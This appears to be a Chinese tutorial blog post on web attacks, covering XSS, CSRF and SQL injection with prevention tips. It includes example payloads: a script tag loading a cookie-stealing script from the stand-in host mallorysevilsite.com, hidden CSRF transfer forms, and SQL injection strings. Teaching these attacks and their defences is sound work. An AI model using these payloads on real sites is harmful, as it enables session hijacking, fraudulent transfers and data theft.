zoukankan      html  css  js  c++  java
  • 网络攻击

    XSS(Cross Site Scripting:跨站点脚本)由于CSS已经用于层叠样式,故用X代替C,X有未知和扩展的含义

    --当目标站点被用户访问,再渲染HTML的过程中,出现了一些没有预期到的脚本指令,并执行该脚本。

    类型

    • 非持久性(反射型)

    当Web客户端提供的数据(最常见于HTTP查询参数(例如HTML表单提交))被服务器端脚本立即用于解析和显示该用户的结果页面时,会出现这些漏洞,没有正确消毒请求。

    • 持久(存储)

    它在由攻击者所提供的数据是由服务器保存的,然后在“正常”的页面返回到其他用户永久地显示发生定期浏览的过程,没有正确的HTML转义。一个典型的例子是在线留言板,允许用户发布HTML格式的消息供其他用户阅读。

    • 服务器端与基于DOM的漏洞

    用例

    非持久性

    1. Alice经常访问由Bob托管的特定网站。Bob的网站允许Alice使用用户名/密码对登录并存储敏感数据,例如账单信息。当用户登录时,浏览器会保留一个授权Cookie,它看起来像一些垃圾字符,因此两台计算机(客户端和服务器)都有一条她已登录的记录。
    2. Mallory观察到Bob的网站包含一个反映的XSS漏洞:
      1. 当她访问“搜索”页面时,她会在搜索框中输入搜索词,然后单击“提交”按钮。如果未找到任何结果,页面将显示她搜索的术语,后跟“未找到”字样,并且网址将为http://bobssite.org/search?q=her search term
      2. 使用普通的搜索查询,例如单词“ puppies ”,页面只显示“ 未找到的小狗 ”,网址为“http://bobssite.org/search?q = puppies ” - 这是完全正常的行为。
      3. 但是,当她提交异常搜索查询时,如“ ”, <script type='application/javascript'>alert('xss');</script>
        • 出现一个警告框(表示“xss”)。
        • 该页面显示“未找到”,以及带有文本“xss”的错误消息。
        • 网址是“ - 这是可利用的行为。http://bobssite.org/search?q=<script%20type='application/javascript'>alert('xss');</script>
    3. Mallory制作了一个利用此漏洞的URL:
      1. 她制作了这个网址她可以选择使用百分比编码对ASCII字符进行编码,例如,这样人类读者就无法立即破译恶意URL。http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
      2. 她给鲍勃网站的一些毫无防备的成员发了一封电子邮件,说“看看一些可爱的小狗!”
    4. 爱丽丝收到电子邮件。她喜欢小狗并点击链接。它进入Bob的网站进行搜索,找不到任何内容,并显示“找不到小狗”但正好在中间,脚本标签运行(它在屏幕上看不见)并加载并运行Mallory的程序authstealer.js(触发) XSS攻击)。爱丽丝忘掉了它。
    5. authstealer.js程序在Alice的浏览器中运行,就像它来自Bob的网站一样。它抓取Alice的授权Cookie副本并将其发送到Mallory的服务器,Mallory在那里检索它。
    6. Mallory现在将Alice的授权Cookie放入她的浏览器中,就好像它是她自己的一样。然后她去了Bob的网站,现在以Alice身份登录。
    7. 现在她已进入,Mallory进入网站的账单部分,查找Alice的信用卡号码并抓取副本。然后她去改变她的密码,以便爱丽丝甚至不能再登录了。
    8. 她决定更进一步向Bob本人发送一个类似的链接,从而获得Bob的网站管理员权限。

    可以采取一些措施来缓解这种攻击:

    1. 搜索输入可能已经过清理,其中包括正确的编码检查。
    2. 可以将Web服务器设置为重定向无效请求。
    3. Web服务器可以检测来自两个不同IP地址的同时登录并使会话无效。
    4. 该网站只能显示以前使用的信用卡的最后几位数字。
    5. 在更改注册信息之前,网站可能要求用户再次输入密码。
    6. 该网站可以制定内容安全政策的各个方面
    7. 可以教育用户不要点击“良性外观”,而是点击恶意链接。
    8. 使用HttpOnlyflag 设置cookie 以防止从JavaScript访问。

    持续攻击

    1. Mallory在Bob的网站上获得了一个帐户。
    2. Mallory观察到Bob的网站包含存储的XSS漏洞。如果您转到新闻部分并发表评论,它将显示他为评论键入的任何内容。但是,如果注释文本中包含HTML标记,则标记将按原样显示,并且任何脚本标记都会运行。
    3. Mallory在“新闻”部分阅读了一篇文章,并在“评论”部分底部的评论中写道。在评论中,她插入了以下文字:I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
    4. 当Alice(或其他任何人)使用评论加载页面时,Mallory的脚本标记会运行并窃取Alice的授权cookie,然后将其发送到Mallory的秘密服务器进行收集。
    5. 马洛里现在可以劫持爱丽丝的会话并冒充爱丽丝。

    鲍勃的网站软件应该删除脚本标签或做一些事情以确保它不起作用,但安全漏洞是因为他没有。

    预防措施

    • 字符串输入的上下文输出编码/转义
    • 安全验证不受信任的HTML输入
    • HttpOnly标志cookie

    参考文章:https://en.wikipedia.org/wiki/Cross-site_scripting#Emerging_defensive_technologies

    CSRF(Cross-site request forgery)跨站请求伪造 

    用户登录网站A后,由A产生了一个用户的cookie,此时用户在未退出的状态下,登录网站B,网站B就可以利用网站A存在的CSRF漏洞,盗用用户的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。

    CSRF原理:

    从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤:

      1.登录受信任网站A,并在本地生成Cookie。

      2.在不登出A的情况下,访问危险网站B。

    实例1:

      银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000

      危险网站B,它里面有一段HTML的代码如下:

    <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

    示例2:

      为了杜绝上面的问题,银行决定改用POST请求完成转账操作。

      银行网站A的WEB表单如下:  

    <form action="Transfer.php" method="POST">
        <p>ToBankId: <input type="text" name="toBankId" /></p>
        <p>Money: <input type="text" name="money" /></p>
        <p><input type="submit" value="Transfer" /></p>
    </form>

     然而,危险网站B与时俱进,它改了一下代码:

    <iframe name="steal" display="none">
      <form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
        <input type="hidden" name="toBankId" value="11">
        <input type="hidden" name="money" value="1000">
      </form>
    </iframe>

    该攻击利用了 WEB 的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的!

    如何避免

    • 尽量使用POST请求,相对不容易破解
    • 验证码  --每次提交都需要确认是否是人为操作,而非代码
    • One-Time Tokens   --不同的表单包含一个不同的伪随机值

    SQL注入  

    1. 布尔注入
    2. 联合注入
    3. 延时注入
    4. 报错注入

    1. 布尔注入

    单引号闭合username, or 2>1(可以直接用true替换2>1)使查询条件恒成立,-- 注释后面的语句

    select username,password from user where username='123' or 2>1 -- ' and password='123456'

     2. 联合注入 

    获取字段数

    • group by
    • order by
    • union select

    获取数据库名

    database()

    获取表名

    select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='database()'

    获取表中字段名

    select COLUMN_NAME from information.schema.COLUMN where TABLE_NAME=''

    获取内容

    select 1,username,password from 表名

    如何防止SQL注入 

    1. 白名单 规定可输入的格式(数字、字母、下划线等)

    2. 过滤或转义特殊符号

    3. 绑定变量,使用预编译语句

  • 相关阅读:
    python经典算法面试题1.5:如何找出单链表中的倒数第K个元素
    python经典面试算法题1.4:如何对链表进行重新排序
    巧妙利用引用,将数组转换成树形数组
    设计模式学习笔记
    Vue-cli项目部署到Nginx
    设计模式
    设计模式
    springboot原理
    类加载机制-深入理解jvm
    JVM内存调优原则及几种JVM内存调优方法
  • 原文地址:https://www.cnblogs.com/embrace-ly/p/10700272.html
Copyright © 2011-2022 走看看